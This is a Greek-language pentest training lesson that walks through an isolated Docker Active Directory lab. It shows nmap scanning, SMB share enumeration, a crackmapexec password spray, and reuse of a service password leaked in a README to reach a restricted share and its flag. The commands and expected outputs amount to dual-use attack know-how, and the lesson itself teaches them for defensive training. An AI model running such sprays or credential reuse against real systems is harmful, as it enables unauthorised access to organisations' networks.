Skip to main content

Πλευρικές μετακινήσεις — Καθοδηγούμενη επίδειξη

Το μάθημα 10.1 έθεσε το λεξιλόγιο: pivot, tunnel, relay, impersonation. Εδώ, δεν ανοίγουμε ούτε ligolo-ng ούτε ένα Golden Ticket. Ξεδιπλώνουμε την πιο συχνή αλυσίδα ενός εσωτερικού pentest το 2026: έναν εποχιακό κωδικό πρόσβασης, ένα υπερβολικά ανοιχτό share, ένα διαπιστευτήριο υπηρεσίας κολλημένο σε ένα README. Κανένα exploit. Απλώς μια ταυτότητα που αλλάζει.

Αυτή η επίδειξη ξαναπαίζει ακριβώς το lab του εργαστηρίου (labs/docker/module-10-mouvements-lateraux). Το εργαστήριο σας τοποθετεί στη συνέχεια μόνους σας. Εδώ, κάθε εντολή έρχεται με την αναμενόμενη έξοδο και τη φράση που λέει τι αποδεικνύει.

Απομονωμένο lab

Τα δύο containers ζουν στο 10.20.30.0/24. Καμία θύρα AD δεν δημοσιεύεται προς τον host. Όλες οι εντολές αυτού του μαθήματος εκτελούνται από το shell του m10-attaquant.

Τι θα ξέρετε να κάνετε​

  • Ανάγνωση της υπογραφής ενός ελεγκτή domain σε μια στοχευμένη σάρωση θυρών, χωρίς να πνίξετε το LAN.
  • Διάκριση μιας ανώνυμης απαρίθμησης SMB από μια πιστοποιημένη απαρίθμηση, και τι επιτρέπει η καθεμία.
  • Εξαγωγή ενός διαπιστευτηρίου που διέρρευσε σε ένα share, στη συνέχεια επαναχρησιμοποίησή του για να ανοίξετε έναν πόρο που απορρίφθηκε στην πρώτη ταυτότητα.
  • Χαρακτηρισμός του ευρήματος: δεν είναι «ανοιχτό SMB», είναι μια αλυσίδα με τέσσερις κρίκους.

Ρύθμιση​

cd inskillsec-docusaurus/labs/docker/module-10-mouvements-lateraux
docker compose up -d

Η πρώτη εκκίνηση του DC διαρκεί περίπου ένα λεπτό: provision του domain CORP.ACME.LOCAL, δημιουργία των λογαριασμών, τοποθέτηση των δύο shares. Το container του επιτιθέμενου περιμένει να γίνει healthy ο dc01. Παρακολουθήστε την provision:

docker logs -f m10-dc01

Όταν εμφανιστεί η γραμμή [m10] === Daemon en premier plan ===, το domain είναι έτοιμο. Ανοίξτε το shell του επιτιθέμενου:

docker compose exec attaquant bash

Είστε σε ένα Kali, στο 10.20.30.5. Ο στόχος είναι dc01.corp.acme.local στο 10.20.30.10. Το DNS του container δείχνει ήδη στον DC: οι αναλύσεις dc01 και dc01.corp.acme.local λειτουργούν χωρίς πειραγμένο /etc/hosts.

ΣτοιχείοΤιμή
DomainCORP.ACME.LOCAL (NetBIOS CORP)
Ελεγκτήςdc01.corp.acme.local — 10.20.30.10
ΕπιτιθέμενοςKali — 10.20.30.5
Σημείο εκκίνησηςκανένα διαπιστευτήριο

Η αλυσίδα σε ένα διάγραμμα​

Έξι άλματα. Ένας μόνο αδύναμος λογαριασμός στην αρχή. Η εναλλαγή προς τον svc_sql δεν είναι κλιμάκωση kernel: είναι μια impersonation που αποκτήθηκε από ένα κακά τακτοποιημένο αρχείο.

Βήμα 1 — αναγνώριση δικτύου​

Δεν έχετε κανέναν κωδικό πρόσβασης. Χαρτογραφείτε τον DC με μια λίστα θυρών, όχι ένα -p-. Μια εκτεταμένη σάρωση σε ένα εταιρικό LAN διακόπτει εκτυπωτές· εδώ, ψάχνουμε την υπογραφή ενός ελεγκτή domain.

nmap -Pn -p22,53,88,135,139,389,445,464,636,3268,3269 10.20.30.10

Αναμενόμενη έξοδος:

Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for dc01.corp.acme.local (10.20.30.10)
Host is up (0.00080s latency).

PORT STATE SERVICE
22/tcp closed ssh
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl

Ανάγνωση. Ο συνδυασμός 88 + 389 + 3268 + 445 δεν είναι ένας συνηθισμένος διακομιστής αρχείων. Kerberos, LDAP και το global catalog, αυτό είναι ένας DC. Η κλειστή 22 είναι φυσιολογική: το Samba AD δεν ανοίγει SSH. Σημειώστε αυτές τις θύρες στην αναφορά, είναι ο χάρτης σας. Δεν έχετε ακόμα πιστοποιήσει τίποτα.

Γιατί αυτές οι θύρες και όχι μια πλήρης σάρωση

Σε ένα εσωτερικό /24, η εμφάνιση Kerberos + LDAP + global catalog λέει «συγκεντρωθείτε εδώ». Το SMB και ο mapper RPC (135) ανοίγουν επίσης σε πολλά Windows που δεν είναι DC. Είναι ο συνδυασμός που αποφασίζει. Το -Pn αποφεύγει ένα ICMP ping συχνά φιλτραρισμένο· ο DC απαντά ούτως ή άλλως στο TCP.

Βήμα 2 — ανώνυμη απαρίθμηση SMB​

Πριν το spray, ρωτήστε την υπηρεσία SMB τι δείχνει σε έναν πελάτη χωρίς κωδικό πρόσβασης. Δεν δίνει ακόμα κανένα αρχείο. Δίνει μια λίστα ονομάτων.

smbclient -N -L //10.20.30.10

Αναμενόμενη έξοδος (αποσπάσματα):

        Sharename       Type      Comment
--------- ---- -------
netlogon Disk Network Logon Service
sysvol Disk
team-notes Disk Notes internes de l'equipe support (lecture pour tous)
backups Disk Sauvegardes internes (acces reserve svc_sql)
IPC$ IPC IPC Service (Samba 4.19)

Ανάγνωση. Δύο «επιχειρησιακά» shares εμφανίζονται ήδη: team-notes και backups. Τα σχόλια του Samba μιλάνε από μόνα τους — ένας διαχειριστής έγραψε «ανάγνωση για όλους» και «πρόσβαση περιορισμένη σε svc_sql». Δεν έχετε ακόμα δικαίωμα ανάγνωσης. Δοκιμάστε ούτως ή άλλως, για να καταγράψετε το εύρημα της ανωνυμίας:

smbclient -N '//10.20.30.10/team-notes' -c 'ls'

Αναμενόμενη έξοδος:

tree connect failed: NT_STATUS_ACCESS_DENIED

Το share υπάρχει, φαίνεται, αρνείται τον ανώνυμο. Θα χρειαστεί μια ταυτότητα domain. Αυτός είναι ακριβώς ο ρόλος του spray.

Βήμα 3 — password spray​

Υποθέτετε τρεις συχνούς λογαριασμούς και τρεις εποχιακούς κωδικούς πρόσβασης. Όχι μια wordlist 14 εκατομμυρίων: ένα spray είναι λίγες λέξεις ενάντια σε αρκετούς λογαριασμούς, κάτω από το όριο κλειδώματος.

echo -e "alice\nbob\nsvc_sql" > /tmp/users.txt
echo -e "Summer2025!\nWinter2024!\nPassword1" > /tmp/passwords.txt

crackmapexec smb 10.20.30.10 \
-u /tmp/users.txt \
-p /tmp/passwords.txt \
--continue-on-success

Αναμενόμενη έξοδος (οι χρήσιμες γραμμές):

SMB  10.20.30.10  445  DC01  [*] Windows 6.1 Build 0 (name:DC01) (domain:CORP) (signing:True) (SMBv1:False)
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Summer2025! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [+] CORP\bob:Summer2025!
SMB 10.20.30.10 445 DC01 [-] CORP\svc_sql:Summer2025! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\bob:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\svc_sql:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Password1 STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\bob:Password1 STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [+] CORP\svc_sql:Password1

Ανάγνωση. Οι γραμμές [+] είναι επιτυχημένες πιστοποιήσεις. Κατέχετε τουλάχιστον το bob:Summer2025!. Το spray μπορεί επίσης να εμφανίσει svc_sql:Password1: το Password1 βρίσκεται στη μικρή wordlist. Δεν πηδάμε ωστόσο κατευθείαν στο backups. Σε αποστολή, αυτή η λέξη δεν βρίσκεται πάντα στη λίστα σας. Το εύρημα προς τεκμηρίωση είναι η διαρροή στο share. Συνεχίζουμε λοιπόν με τον bob, σαν να μην είχε αποδώσει ο svc_sql.

Τρεις λέξεις, όχι μια wordlist

Το --continue-on-success αποτρέπει το εργαλείο από το να σταματήσει στον πρώτο λογαριασμό. Δεν σας εξουσιοδοτεί να δοκιμάσετε το rockyou.txt ενάντια στο domain. Πέρα από λίγους υποψηφίους, κλειδώνετε λογαριασμούς και ο διαχειριστής βλέπει το spray. Εδώ το lab είναι επιτρεπτικό· ένα πραγματικό AD δεν είναι.

Η alice αντιστέκεται στους τρεις υποψηφίους: εσκεμμένο δόλωμα. Ένα spray που βρίσκει έναν λογαριασμό στους τρεις είναι ήδη μια πρώτη πρόσβαση. Σε ορισμένες εικόνες Kali, το crackmapexec ονομάζεται nxc: ίδιο δυαδικό αρχείο, ίδια σύνταξη.

Βήμα 4 — απαρίθμηση των shares ως bob​

Ίδια υπηρεσία SMB, άλλη ταυτότητα. Ζητήστε τα πραγματικά δικαιώματα, όχι μόνο τα ονόματα.

crackmapexec smb 10.20.30.10 -u bob -p 'Summer2025!' --shares

Αναμενόμενη έξοδος:

SMB  10.20.30.10  445  DC01  [*] Enumerated shares
SMB 10.20.30.10 445 DC01 Share Permissions Remark
SMB 10.20.30.10 445 DC01 ----- ----------- ------
SMB 10.20.30.10 445 DC01 netlogon READ
SMB 10.20.30.10 445 DC01 sysvol READ
SMB 10.20.30.10 445 DC01 team-notes READ Notes internes de l'equipe support
SMB 10.20.30.10 445 DC01 backups Sauvegardes internes (acces reserve svc_sql)
SMB 10.20.30.10 445 DC01 IPC$
ShareΔικαιώματα του bobΣχόλιο
sysvol / netlogonREADΤυπικά shares AD, συχνά κενά εδώ
team-notesREADΣημειώσεις ομάδας support — άμεσος στόχος
backups(κανένα)Άρνηση. Είναι ο τελικός πόρος

Ο bob διαβάζει το team-notes. Ο bob δεν διαβάζει το backups. Το pivot, αν υπάρχει, βρίσκεται μέσα στο αναγνώσιμο share. Δεν επιτιθέμεθα στο Kerberos πριν διαβάσουμε τα αρχεία της ομάδας.

Βήμα 5 — ανάγνωση του team-notes​

smbclient '//10.20.30.10/team-notes' -U 'bob%Summer2025!' \
-c 'ls; mget *; exit'

Το smbclient ζητά επιβεβαίωση πριν από κάθε mget αν παραλείψετε το -c. Με το -c, τα δύο αρχεία φτάνουν στον τρέχοντα κατάλογο:

  README-Onboarding.txt               N    1540  ...
deploy-notes.md N 420 ...

Διαβάστε τα.

cat README-Onboarding.txt
cat deploy-notes.md

Αναμενόμενη έξοδος (χρήσιμο απόσπασμα του onboarding):

2. Le SQL Server tourne sur dc01:1433. Si tu dois faire une extraction
pour la compta, connecte-toi avec le compte de service svc_sql. Le
mot de passe est "Password1" — on doit le changer depuis 2 ans mais
personne n a le temps, l acces au SQL est de toute facon interne.

3. Les sauvegardes nocturnes sont sur \\dc01\backups. svc_sql peut y
lire, pas ton compte perso.

Το deploy-notes.md επαναλαμβάνει το ίδιο ζεύγος svc_sql / Password1 σε μια checklist ανάπτυξης. Δύο αρχεία, μία μόνο διαρροή.

Κατέχετε το pivot: svc_sql:Password1.

Εύρημα νούμερο 1 το 2026

Ένας κωδικός πρόσβασης υπηρεσίας σε καθαρό κείμενο σε ένα share ανοιχτό σε κάθε πιστοποιημένο χρήστη συνδυάζει τρία ελαττώματα: υπερβολικά ευρύ ACL, απουσία περιστροφής, onboarding μέσω κοινόχρηστου αρχείου αντί για θησαυροφυλάκιο. Καθένα πρέπει να εμφανίζεται ως ξεχωριστό διορθωτικό μέτρο. «Ενίσχυση του SMB» δεν διορθώνει τίποτα από όλα αυτά.

Βήμα 6 — εναλλαγή ταυτότητας προς svc_sql​

Ίδιος πόρος, δύο ταυτότητες. Η άρνηση και στη συνέχεια η πρόσβαση αποδεικνύουν ότι η πλευρικοποίηση εξαρτάται αποκλειστικά από τον λογαριασμό, όχι από ένα exploit.

smbclient '//10.20.30.10/backups' -U 'bob%Summer2025!' -c 'ls'

Αναμενόμενη έξοδος:

NT_STATUS_ACCESS_DENIED listing \*

Στη συνέχεια:

smbclient '//10.20.30.10/backups' -U 'svc_sql%Password1' -c 'ls'

Αναμενόμενη έξοδος:

  secret.txt                          N    2100  ...

Ο bob παραμένει πάντα πιστοποιημένος στο domain. Απλώς δεν έχει το δικαίωμα. Ο svc_sql το έχει. Μόλις πλευρικοποιήσατε: νέα ταυτότητα, νέος πόρος, κανένα δυαδικό αρχείο τοποθετημένο στον DC.

Ελέγξτε επίσης τα shares από τον svc_sql, για την αναφορά:

crackmapexec smb 10.20.30.10 -u svc_sql -p 'Password1' --shares

Το backups περνά σε READ. Το flag είναι σε ανάγνωση· δεν γράφουμε τίποτα.

Βήμα 7 — ανάγνωση του flag​

smbclient '//10.20.30.10/backups' -U 'svc_sql%Password1' \
-c 'get secret.txt /tmp/flag.txt; exit'

cat /tmp/flag.txt

Το αρχείο αφηγείται την αλυσίδα που μόλις εκτελέσατε. Η γραμμή που μετράει:

Le drapeau que vous cherchez : FLAG-M10-CREDENTIAL-LEAK-CHAIN-2026

Αναμενόμενο flag:

FLAG-M10-CREDENTIAL-LEAK-CHAIN-2026

Κρατήστε το αρχείο. Το εργαστήριο θα ζητήσει να το επισυνάψετε στην αναφορά rapport/lateralisation-m10.md.

Ανάγνωση της εξόδου — τι αξίζει κάθε σήμα​

Τρεις φράσεις που πρέπει να μπορείτε να πείτε μπροστά σε έναν πελάτη, χωρίς ορολογία.

  1. Ένας DC αναγνωρίζεται από την υπογραφή θυρών του, όχι από το όνομά του. Το 88 + 389 + 3268 αρκούν. Το όνομα dc01 είναι ένα δώρο του lab· σε αποστολή, το ίδιο μοτίβο εμφανίζεται στον SRV-ADS-01.
  2. Το να βλέπεις ένα share δεν σημαίνει να μπαίνεις σε αυτό. Ο ανώνυμος βλέπει team-notes και backups. Μόνο μια ταυτότητα domain ανοίγει το πρώτο. Μόνο ο svc_sql ανοίγει το δεύτερο. Τεκμηριώστε τα τρία επίπεδα: εμφανές, αναγνώσιμο, απορριφθέν.
  3. Η πλευρική μετακίνηση δεν απαιτεί exploit. Εδώ, το άλμα οφείλεται σε ένα README. Στο 10.1, το Pass-the-Hash και το relay SMB κάνουν την ίδια δουλειά με άλλα αντικείμενα (hash, challenge). Το παραδοτέο είναι ίδιο: μια νέα ταυτότητα, ένας νέος πόρος.

Το lab δεν επιδεικνύει λειτουργικό Kerberoasting: το Samba AD 4.19+ απορρίπτει τα TGS του Impacket (KRB_AP_ERR_INAPP_CKSUM). Τα SPN παραμένουν ορατά· για ένα πραγματικό εισιτήριο, το HackTheBox Forest ή το TryHackMe Attacktive Directory.

Εκεί όπου προκύπτουν προβλήματα​

  • Ο dc01 δεν είναι healthy. Το nmap στη θύρα 445 παραμένει filtered ή host down. Ξαναδιαβάστε το docker logs m10-dc01: όσο η [m10] === Daemon en premier plan === δεν εμφανίζεται, το SMB δεν ακούει. Περιμένετε, ή docker compose ps.
  • Summer2025! χωρίς εισαγωγικά. Το ! τρώγεται από το bash. Γράψτε -p 'Summer2025!' ή -U 'bob%Summer2025!'.
  • Το crackmapexec δεν βρίσκεται. Πληκτρολογήστε nxc — ίδιο εργαλείο, νέο όνομα. Η σύνταξη --shares δεν αλλάζει.
  • Διαδραστικό mget. Χωρίς -c, το smbclient θέτει Get file ...? για κάθε αρχείο. Απαντήστε y, ή ξεκινήστε ξανά με -c 'lcd /tmp; prompt OFF; mget *; exit'.
  • get secret.txt /tmp/flag.txt αποτυγχάνει. Δεν είστε σε συνεδρία svc_sql, ή το lcd δείχνει αλλού. Ελέγξτε με -c 'ls' πρώτα.
  • Χρησιμοποιείτε τον κωδικό του Administrator από το README του lab. Αυτό είναι εξαπάτηση της άσκησης. Η επίδειξη ξεκινά από μια απλή πρόσβαση δικτύου. Ο λογαριασμός admin υπάρχει για να κρατηθεί όρθιος ο DC, όχι για να χρησιμεύσει ως συντόμευση.

Τι πρέπει να θυμάστε​

Η πλευρική μετακίνηση αυτού του μαθήματος συνοψίζεται σε μία φράση: μια αδύναμη ταυτότητα ανοίγει ένα υπερβολικά ευρύ share, το οποίο παραδίδει μια πιο χρήσιμη ταυτότητα, η οποία ανοίγει τον στοχευμένο πόρο. Δεν τοποθετήσατε κανένα implant, καμία σήραγγα, κανένα πλαστογραφημένο εισιτήριο. Σε αποστολή, αυτή η αλυσίδα τεκμηριώνεται κρίκο προς κρίκο — εποχιακός κωδικός πρόσβασης, share Domain Users, μυστικό σε καθαρό κείμενο, λογαριασμός υπηρεσίας χωρίς περιστροφή — γιατί η κοπή ενός κρίκου αρκεί για να τη σπάσει.

Το εργαστήριο επαναλαμβάνει το ίδιο lab, χωρίς αυτή τη σελίδα ανοιχτή. Θα ξαναπαίξετε τα έξι βήματα, θα συντάξετε την αναφορά, θα σβήσετε με docker compose down -v.